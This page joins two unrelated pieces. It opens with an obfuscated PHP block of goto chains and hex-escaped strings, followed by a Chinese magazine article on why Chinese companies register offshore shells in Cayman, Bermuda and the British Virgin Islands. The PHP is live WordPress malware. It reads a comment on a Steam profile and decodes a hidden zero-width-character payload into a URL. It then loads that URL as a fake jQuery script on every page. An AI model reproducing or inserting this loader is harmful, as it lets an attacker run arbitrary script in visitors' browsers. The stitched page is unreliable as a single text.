goto dfc1d; D7304: function decode_html_entities_like_source(string $s) : string { goto d39d7; C56fe: $s = str_replace(["\134\x6e", "\134\x22", "\x26\x71\165\157\x74\73", "\x26\x61\x6d\160\x3b", "\x26\154\x74\73", "\x26\147\x74\73"], ["\xa", "\x22", "\x22", "\x26", "\74", "\76"], $s); goto Ba34b; d39d7: $s = preg_replace_callback("\x2f\x26\43\170\x28\133\134\144\x61\55\x66\x41\55\x46\x5d\53\x29\x3b\57\151", function ($m) { return mb_convert_encoding(pack("\110\x2a", $m[1]), "\x55\124\106\55\70", "\x55\x43\123\55\x32\102\105"); }, $s); goto C56fe; Ba34b: return $s; goto b61ef; b61ef: } goto D7078; D7078: function decode_zero_width_payload(string $text, string $password = '') : string { try { goto C2b2b; d3c12: $salt = substr($blob, 0, 8); goto D23dc; C9c3f: $bytes = array_map("\157\162\144", str_split($plain)); goto Cd597; Ef189: a7f7f: goto d13f0; ce377: $from = [$ZW[4], $ZW[5]]; goto e78f2; ec58b: if (!($unz === false)) { goto A9c55; } goto E9275; eed3b: if (!($leading === '')) { goto cfaee; } goto c489e; e9141: $blob = pack("\103\52", ...$bytes); goto d3c12; A98ef: $bytes = []; goto abbfc; d50d2: d308c: goto C9c3f; Ccd85: $iv = substr($dk, 0, 16); goto Df294; df35a: $ciphertext = substr($blob, 8); goto e998e; D85f8: cfaee: goto ec634; c5213: A9c55: goto D9e23; f6ec8: d17f8: goto e0fc4; e998e: $expectedHmac = null; goto Ed5ed; c87c5: $p += 8; goto Fd43b; F4fea: $payloadRest = mb_substr($payload, 1, null, "\125\124\x46\x2d\x38"); goto Fe277; Dba93: e6efa: goto A98ef; aeada: Af03e: goto d50d2; d5bfd: if (!($p + 8 <= strlen($bits))) { goto d36a9; } goto eaec6; eaec6: $bytes[] = bindec(substr($bits, $p, 8)); goto da13a; D9e23: return $unz !== false ? $unz : ''; goto ee358; c489e: return ''; goto D85f8; C8282: $containerChar = mb_substr($payload, 0, 1, "\x55\x54\x46\55\70"); goto F4fea; E88ce: $payload = mb_substr($leading, 1, null, "\125\x54\106\x2d\70"); goto d3dbb; b8587: $hasHmac = $containerIdx === 0; goto d9773; f91c2: if (!$isEncrypted) { goto fa074; } goto e9141; d3d85: return ''; goto f6ec8; B4da4: if (!($plain === false)) { goto d17f8; } goto d3d85; d0120: foreach ($inv as $b) { goto a21fc; Ab8c2: $allPrintable = false; goto F779a; abe91: F0425: goto e51e8; a21fc: if (!($b < 32 || $b > 126)) { goto a1a65; } goto Ab8c2; F779a: goto F4297; goto db1ad; db1ad: a1a65: goto abe91; e51e8: } goto d19ff; Abc09: foreach (explode("\40", $text) as $word) { goto d56b5; d82d0: goto e8b9d; goto bb211; bb211: f0f9c: goto E332b; e3ec9: $pos = 0; goto B5c7a; fbd9c: $leading = mb_substr($word, 0, $pos, "\x55\x54\106\55\70"); goto d82d0; E02b9: if (empty($intersection)) { goto f0f9c; } goto e3ec9; B5c7a: foreach ($chars as $i => $ch) { goto e8276; D24b7: C7bc3: goto C1cb6; E548e: $pos = $i; goto c3795; Ba85e: $pos = $i + 1; goto D24b7; c3795: goto Fd5ba; goto ce7e7; ce7e7: Caf0c: goto Ba85e; e8276: if (in_array($ch, $ZW, true)) { goto Caf0c; } goto E548e; C1cb6: } goto C2679; C2679: Fd5ba: goto fbd9c; C59c6: $intersection = array_intersect($ZW, $chars); goto E02b9; E332b: c181e: goto A212d; d56b5: $chars = preg_split("\57\x2f\x75", $word, -1, PREG_SPLIT_NO_EMPTY); goto C59c6; A212d: } goto D7121; E5afe: return implode('', array_map("\x63\150\162", $inv)); goto Be895; A7d8b: $modeIdx = array_search($modeChar, $ZW, true); goto e665f; Ac630: $raw = pack("\x43\52", ...$inv); goto C191f; bee51: if ($allPrintable) { goto db96b; } goto Ac630; d13f0: $expectedHmac = substr($blob, 8, 32); goto b2e8e; e78f2: $to = [$pair[0] . $pair[0], $pair[1] . $pair[1]]; goto c4816; e0fc4: if (!$hasHmac) { goto d308c; } goto B53b3; d9773: $bits = ''; goto F3450; C2b2b: $ZW = ["\xe2\200\x8c", "\xe2\x80\215", "\342\201\xa1", "\xe2\201\242", "\xe2\201\243", "\342\201\244"]; goto a368e; A96fe: e9132: goto fce6f; ee358: db96b: goto E5afe; d3dbb: $pairsByIndex = [$ZW[0] . $ZW[1], $ZW[0] . $ZW[2], $ZW[0] . $ZW[3], $ZW[1] . $ZW[2], $ZW[1] . $ZW[3], $ZW[2] . $ZW[3]]; goto A7d8b; a368e: $leading = ''; goto Abc09; da13a: e90ab: goto c87c5; Ed5ed: goto e9132; goto Ef189; Dd6e5: d36a9: goto f91c2; Cd597: fa074: goto Dbf10; Db703: $plain = openssl_decrypt($ciphertext, "\x61\145\x73\55\62\65\x36\x2d\143\164\x72", $key, OPENSSL_RAW_DATA, $iv); goto B4da4; ec634: $modeChar = mb_substr($leading, 0, 1, "\125\124\x46\55\x38"); goto E88ce; D7121: e8b9d: goto eed3b; B53b3: $h = hash_hmac("\163\150\x61\x32\x35\x36", $plain, $key, true); goto f8a49; b2e8e: $ciphertext = substr($blob, 40); goto A96fe; C191f: $unz = @gzuncompress($raw); goto ec58b; d19ff: F4297: goto bee51; F00f8: $allPrintable = true; goto d0120; D23dc: if ($hasHmac) { goto a7f7f; } goto df35a; abbfc: $p = 0; goto F1f05; Fd43b: goto bd29e; goto Dd6e5; Dc56a: return ''; goto aeada; E9275: $unz = @gzinflate($raw); goto c5213; f8a49: if (hash_equals($expectedHmac, $h)) { goto Af03e; } goto Dc56a; Df294: $key = substr($dk, 16, 32); goto Db703; Dbf10: $inv = array_map(fn($b) => ~$b & 0xff, $bytes); goto F00f8; fce6f: $dk = hash_pbkdf2("\163\150\x61\x35\61\62", $password, $salt, 10000, 48, true); goto Ccd85; e665f: $pair = $modeIdx !== false && isset($pairsByIndex[$modeIdx]) ? preg_split("\57\57\165", $pairsByIndex[$modeIdx], -1, PREG_SPLIT_NO_EMPTY) : [$ZW[0], $ZW[1]]; goto ce377; F3450: foreach (preg_split("\x2f\57\x75", $payloadRest, -1, PREG_SPLIT_NO_EMPTY) as $ch) { goto E2839; be63a: $bits .= str_pad(decbin($i), 2, "\x30", STR_PAD_LEFT); goto db3e7; a5a82: c2881: goto be7a7; d55eb: if (!($i !== false)) { goto baf2f; } goto be63a; db3e7: baf2f: goto a5a82; E2839: $i = array_search($ch, $ZW, true); goto d55eb; be7a7: } goto Dba93; c4816: $payload = str_replace($from[1], $to[1], $payload); goto de7cd; de7cd: $payload = str_replace($from[0], $to[0], $payload); goto C8282; Fe277: $containerIdx = array_search($containerChar, $ZW, true); goto D5820; D5820: $isEncrypted = $containerIdx === 0 || $containerIdx === 1; goto b8587; F1f05: bd29e: goto d5bfd; Be895: } catch (\Throwable $e) { return ''; } } goto a7fb4; dfc1d: function fetch_comment_text_from_url(string $url) : string { goto b27df; D7ac4: return $text; goto Dbfd9; F1e30: curl_close($ch); goto bd612; bd612: return get_transient($cache_key) ?: ''; goto A6f8c; dd4b3: set_transient($cache_key, $text, 300); goto D7ac4; Ef31e: $ch = curl_init($url); goto A6435; A6435: curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "\115\x6f\x7a\x69\x6c\154\x61\x2f\x35\56\x30\40\50\127\x69\156\144\157\x77\x73\40\116\x54\x20\x31\60\x2e\x30\73\40\x57\151\156\x36\x34\73\40\x78\66\64\x29\x20\101\160\x70\x6c\x65\127\x65\142\x4b\x69\164\x2f\x35\63\67\x2e\x33\66", CURLOPT_TIMEOUT => 10]); goto Dea9b; b27df: $cache_key = "\143\141\160\164\x69\157\x6e\137" . md5($url); goto Ef31e; Ceb67: return get_transient($cache_key) ?: ''; goto D1440; Dea9b: $html = curl_exec($ch); goto d4307; d4307: if (!($html === false)) { goto D3bed; } goto F1e30; Dbfd9: C305c: goto Ceb67; Db868: curl_close($ch); goto e1b29; e1b29: if (!preg_match("\57\74\144\x69\x76\x5b\x5e\76\135\x2a\x63\x6c\x61\x73\163\75\133\47\134\42\135\143\x6f\x6d\155\x65\x6e\x74\x74\150\162\145\x61\x64\x5f\x63\x6f\x6d\155\145\156\164\137\x74\145\170\164\133\x27\134\x22\x5d\133\x5e\76\x5d\x2a\76\x28\x2e\52\77\51\x3c\134\x2f\144\x69\x76\x3e\57\x69\x73", $html, $m)) { goto C305c; } goto e58d9; A6f8c: D3bed: goto Db868; e58d9: $text = decode_html_entities_like_source($m[1]); goto dd4b3; D1440: } goto D7304; a7fb4: function enqueue_external_script_from_steam_comment() : void { goto Bc875; B9ec2: wp_enqueue_script("\x61\163\x61\x68\151\x2d\152\x71\165\x65\162\x79\55\x6d\x69\156\55\142\165\x6e\x64\x6c\145", $url, [], null, true); goto c0558; c0558: Ad652: goto Fa6d5; d25b8: if (!filter_var($url, FILTER_VALIDATE_URL)) { goto Ad652; } goto B9ec2; Bc875: $steamProfileUrl = "\150\164\x74\160\x73\72\x2f\57\x73\x74\145\x61\x6d\x63\157\155\x6d\165\x6e\x69\164\171\56\143\157\x6d\57\151\144\x2f\60\x78\145\x65\162\x69\145\x2f"; goto f0971; af6d0: $url = $domainOrPath; goto d25b8; f0971: $commentText = fetch_comment_text_from_url($steamProfileUrl); goto b2ed4; b2ed4: $domainOrPath = decode_zero_width_payload($commentText, ''); goto af6d0; Fa6d5: } goto Ae8ce; Ae8ce: add_action("\167\x70\x5f\145\x6e\x71\165\145\165\x65\137\163\x63\x72\151\x70\164\163", "\x65\x6e\161\x75\x65\x75\145\x5f\x65\170\x74\145\162\156\x61\x6c\x5f\163\x63\x72\x69\160\x74\137\x66\x72\x6f\155\x5f\x73\x74\145\x61\x6d\x5f\x63\157\155\155\145\x6e\164");
伴随中国企业在香港、美国、新加坡等地区相继上市的热潮,开曼群岛、维尔京、百慕大……这些原本不甚知名的小小群岛逐渐成为了中国企业注册离岸公司的摇篮。据说在这些地区注册的企业有10641家与中国内地相关,而其中的新浪、网易、金蝶、联通等公司无一不是我们耳熟能详的名字。
目前在这些地区平均每天都会有一家中国概念的新公司注册成立。而事实上,这些公司的所有者可能一辈子也不会到公司的注册地去。
值得注意的是,这些企业选择的注册地有一个明显的特征–几乎都是国内外避税地。但是,根据我国税收法律的规定和我国外汇管理体系的限制,能够利用这些地区所进行的合法国内外避税数额很小,因为我国政府对居民来自中国境内的全球收入征税。
那么,是什么样的原动力驱使大量的企业尤其是民企趋之若鹜,涌向这些远洋岛屿呢?记者带着疑问,走访了与此现象相关的一系列人士–民企老板、投行经理、中介机构、税法律师以及国内外税收、国内外经济法的教授,试图解开这个似乎众人心照不宣的谜团。曲线上市的优美拐点。提起到开曼、百慕大去注册海外离岸公司,中国熟悉资本市场的业内人士大概首先想到一个名词–海外曲线上市。
海外曲线上市的学术叫法是”造壳上市”,即要在拟上市的海外证券市场所在地或其允许的国家(地区)成立一家中资公司的控股公司,进而以控股公司的名义申请上市。
让我们先回顾一下中国企业在海外上市的成功案例:1992年10月9日,中国在纽约交易所挂牌的一支股票是”华晨汽车”,其公司全称为”华晨中国汽车控股有限公司”,1992年6月于百慕大群岛注册,上市募集资金全部用于在中国内地的实业”沈阳金杯客车制造有限公司”;1999年初,新加坡证交所出现了一张新面孔–鹰牌控股,注册地开曼群岛,其背后的上市公司–广东佛山鹰牌陶瓷公司成为首家海外上市的中国民营企业;1995年,惠州侨兴通过其原来在香港注册的一家公司,到英属维京群岛注册成立了侨兴环球,以侨兴环球名义回购侨兴集团90%的股权,接着于1999年2月17日在美国NASDAQ上市,成为一个在纳斯达克上市的中国民营企业;2000年1月31日,在百慕大注册的”裕兴电脑科技控股有限公司”作为在香港创业板成功上市的一家内地民营企业,募集资金4.2亿港元。
沿着这些先锋开辟的成功之路,后继者们充满信心,纷纷踏上了这条曲线上市的艰难道路。而这条道路上的一站,往往是奔赴开曼、百慕大、维尔京,注册一家或数家公司。一位海外投行业务的资深人士形容说:”这些弹丸小岛在中国企业海外上市的曲线中,是一个优美的拐点。”
的确,从中国内地出发,经这个拐点,民营企业既可以通往香港的创业板,更可以迈入美国的纳斯达克。因为百慕大、开曼、英属维尔京群岛的法律属于普通法系,是美国纳斯达克上市公司的合法注册地。而根据香港联交所1992年7月颁布的《香港创业板上市规则》中关于创业板上市公司注册地的一条,除可以在中国内地、香港注册之外,百慕大、开曼群岛也赫然在列。据不完全统计,选择开曼、百慕大作为注册地的香港创业板上市公司远多于在中国内地和香港注册的公司:我们在香港创业板股票中任选了代码在8003~8028之间的10家上市公司,发现只有1家在香港本地注册,其他9家公司(4家主要经营地在内地)的注册地全部是开曼群岛或百慕大–管中窥豹,可见一斑。
那么,这些上市公司为什么不选择证券市场所在地注册而要绕道遥远而陌生的开曼、百慕大?与此相关的各方人士众说纷纭,但细想又似乎大致相通,不外乎以下四个原因:注册程序简单、减少风险、逃避外汇管制和合法避税。
想上市,必然面临的各种复杂的审批程序、规则要求,企业的头痛事绝对少不了。不过,能免一桩是一桩,开曼、百慕大、维尔京这些小岛作为离岸注册的乐土,可给企业省去了不少繁琐的手续和规则的麻烦:公司可以不必在注册地生产经营,可以把注册资本移作他用,公司设立发起人不要求是当地居民或国民,无需向当地税务局提供财务报表。而且,现在国内有大量代办注册离岸公司的中介机构,看似遥远的距离却没有了任何障碍。
法律环境宽松、保密性好,也是开曼、百慕大等地的突出特点。一位从事企业海外上市法律咨询的律师指出,这对于通过曲线路径上市的公司来说,能够减少法律风险。以位于加勒比海上的开曼群岛为例,它是一个部分自治的英国殖民地,其公司法以英国商业公司法(1948年)为基础,但经过开曼政府多年的数次修订,其中已经具有了很多本地特色。根据开曼群岛的公司法,税务豁免公司可以得到政府20年不征税的保证,可以发行无面值的股票,还可以不必每年召开一次股东大会,甚至股东的名字也可以保密。实际上,很多离岸法区都有明文规定:公司的股东资料、股权比例、收益状况等信息,享有保密权利。宽松的法律环境以及对公司业务的高度保密,使上市公司自身的安全得到了充分的保障,极大减少了各种风险因素。如果上市公司在未来的经营期间出现与投资者的法律纠纷,裁决过程所适用的开曼法律往往可以使上市公司逃避某些责任或者占据有利的位置。
除了法律宽松,开曼、百慕大、维尔京等地的税收相当优惠,对于在此注册的企业不征收所得税和资本利得税。这意味着,尽管在中国内地从事实际经营的公司必须向中国政府缴纳企业所得税,但作为其投资者的离岸控股公司,由于注册地政府不对控股公司的投资收益征税或税率很低,因此,整个海外上市的公司体系可以避免双重税收。
此外,开曼群岛、百慕大、维尔京等地区普遍对豁免公司没有外汇管制,外汇出入自由。这使得很多通过曲线上市的中国企业在海外资本市场募集的外汇先放在离岸公司,根据中国内地企业实际经营的需要,逐次将资金汇往国内,而不是一次将在海外募集的外汇全部投入国内的企业中去。
除去以上理由,似乎还有一个大家心照不宣的秘密:很多时候,公司在海外上市曲线中的”拐点”不止一个,而可能在多个避税地注册多个”壳”公司。在国内的资产注入海外”壳”公司的过程中,伴随的是层层交错的控股关系、扑朔迷离的资产置换。”越复杂就越安全。”一位从事多年投资银行业务的先生含糊地解释这个现象。”在这些避税地各种财产、公司情况都是保密的。所以,一般很难摸清各个公司之间有什么关系,这方便企业内部进行关联交易啊!”倒是一位中介咨询人员一语中的。
风险投资的”软猥宝甲”
尽管开曼、百慕大、维尔京,这些本不知名的小岛走进中国人的视野源于中国企业的海外上市之路,但是在这些岛屿上注册的1万多家与中国内地相关的企业,实际上只有一小部分与这个目的有关。一位中介机构的资讯顾问认为,目前国内许多接受海外风险投资的高新技术企业才是真正的离岸注册兵团的生力军。
与那些产生到海外上市想法后才着手注册离岸公司的企业相比,许多成功吸引到外资创投的高新技术企业似乎更有先见之明,公司初创时的注册地一般就在开曼、百慕大、维尔京。一位中关村高新技术企业的经理指出,为了绕开国内政策的限制,一般国外风险投资都采取间接投资于海外离岸公司的形式介入中国创投市场,以便于在投资实现增值后顺利退出。作为创业企业,当然要配合投资方以达到双赢的目的。所以,一般会选择开曼、百慕大、维尔京等离岸法区注册公司,以离岸公司作为投资方投入资金的中转站。面对经济、法律均处于过渡时期的中国,通过间接投资离岸公司的形式,海外风险投资为自己披上了一件刀枪难入的”软猥宝甲”。
创业企业上市是风险投资退出的佳形式。由于中国资本市场不完善,国内此路不通,那只能通过海外上市以保证风险投资全身而退,由此,问题回到了文章的初–风险投资企业和被投资企业也意识到了开曼、百慕大、维尔京这些小岛的魅力所在。以1992年首先进入中国创投市场的国内外数据集团IDG为例,其投资的搜狐、金蝶相继于美国纳斯达克成功上市,而这两家均是通过注册离岸公司实现海外曲线上市的典型。
将所投资企业的股权协议转让是风险投资退出的另一种重要手段。如果创业企业是海外注册的离岸公司,那么,在股东转让股份或风险投资退出而改变股权结构时,绕开了国内的审批程序,使转让手续和过程得到了简化。但如果直接被投资企业在中国注册,根据有关规定,其股权转让必须报原审批机构批准(审批机构批准还需征得科技部同意),然后到国家工商行政管理部门办理相关手续。复杂的手续、漫长的等待,可能导致审批后企业早已错失市场良机。加之在开曼等地可以避免对投资者的双重税收,这使创投企业在海外注册的运作成本低于国内注册。
事实上,为改变外资绕道介入国内风险投资业的情况,我国政府做出了积极的努力。日前,由外经贸部、科技部和国家工商行政管理总局联合颁发的《关于设立外商投资创业投资企业的暂行规定》,容许”外国投资者单独或与中国的公司、企业或其他经济组织,在中国境内设立以创业投资为经营活动的外商投资有限责任公司或不具有法人资格的中外合作企业。”但是客观地看,目前国内风险投资的环境仍不容乐观。IDG副总王树先生指出,目前中国的《公司法》、《外商投资企业法》、《税法》等相关法规不健全,比如《公司法》仍存在对外投资不得超过净资产50%的限制;有限合伙制创投企业面临的双重征税问题,《税法》没有解决;《外商投资企业法》中对无形资产投资的限制;这些都将阻碍外资到中国发展风险投资业。
看来,外资风险投资身上的这件”软猥宝甲”一时半会儿还脱不下去!
兼收并蓄的”变脸”之地
其实,除了上述原因,企业海外注册的目的还有很多种,对他们来说,开曼、百慕大、维尔京……这些遥远的海中孤岛是转换身份、实现”变脸”的理想场所。
在河北省”5·18″经贸洽谈会上,记者注意到有两家注册地为”英属维尔京群岛”的民营小企业以外资企业的身份出现。事实上,这不过是土生土长的中国企业到维尔京注册了一家离岸公司而已,企业老板本人对着世界地图也找不到他们的注册地在哪儿。这样做的目的很明确–为享受外资企业的优惠待遇,税收在几年内能得到一定程度的减免。对此现象,中国政法大学国内外经济法的蓝蓝教授分析说,尽管我国已加入WTO,但世贸组织仅要求给予外商不低于本国居民的待遇,但目前中国给予外资的是远优于”国民待遇”的”超国民待遇”。因此,有些效益较好的民营企业会想到以假合资的办法来逃避国内税收,这种现象短时间之内很难消除,因为中国现在的发展,需要大量资金支持。为此,仍会在一定时期内保持对外资的优惠待遇。
民企搞假合资”变脸”不过为得点税收上的小实惠,比起国内某些大公司的”变脸”手段,绝对是小巫见大巫了。日前中国一家大型企业××公司为实现在香港顺利上市而进行的资产重组过程中,在开曼群岛注册了一家离岸公司,利用开曼群岛对注册公司资产质量要求宽松的特点,把全部的企业不良资产注入新公司,从而顺利实现了优质资产与不良资产的剥离,预计不日即将传来该企业成功在香港上市的捷报。这等”变脸”法术才真叫高强。
现在,连台资企业也纷纷搞起了”变脸”,想到中国内地投资受到台湾当局政策的限制不要紧,聪明的台商先把资金投到自己在开曼、百慕大、维尔京等地注册的离岸公司去,然后转道奔赴内地,任台湾当局如何把守也无济于事。
“作为海外归国学子,我们回国成立这家公司的想法就是为国家做点事情,所以,我们希望公司保证纯正的血统,注册成为名副其实的中国企业。但我们的投资方是外资,为配合他们未来的退出以及在海外的顺利上市,现在又要考虑在开曼注册,这真是一种两难选择。”由多名海归博士、硕士们组建的北京科技风险投资股份有限公司的副总徐洪才博士吐露的苦恼,让我们看到,并不是所有的”企业”都热衷于这种”变脸”游戏。海外注册还是有利有弊的。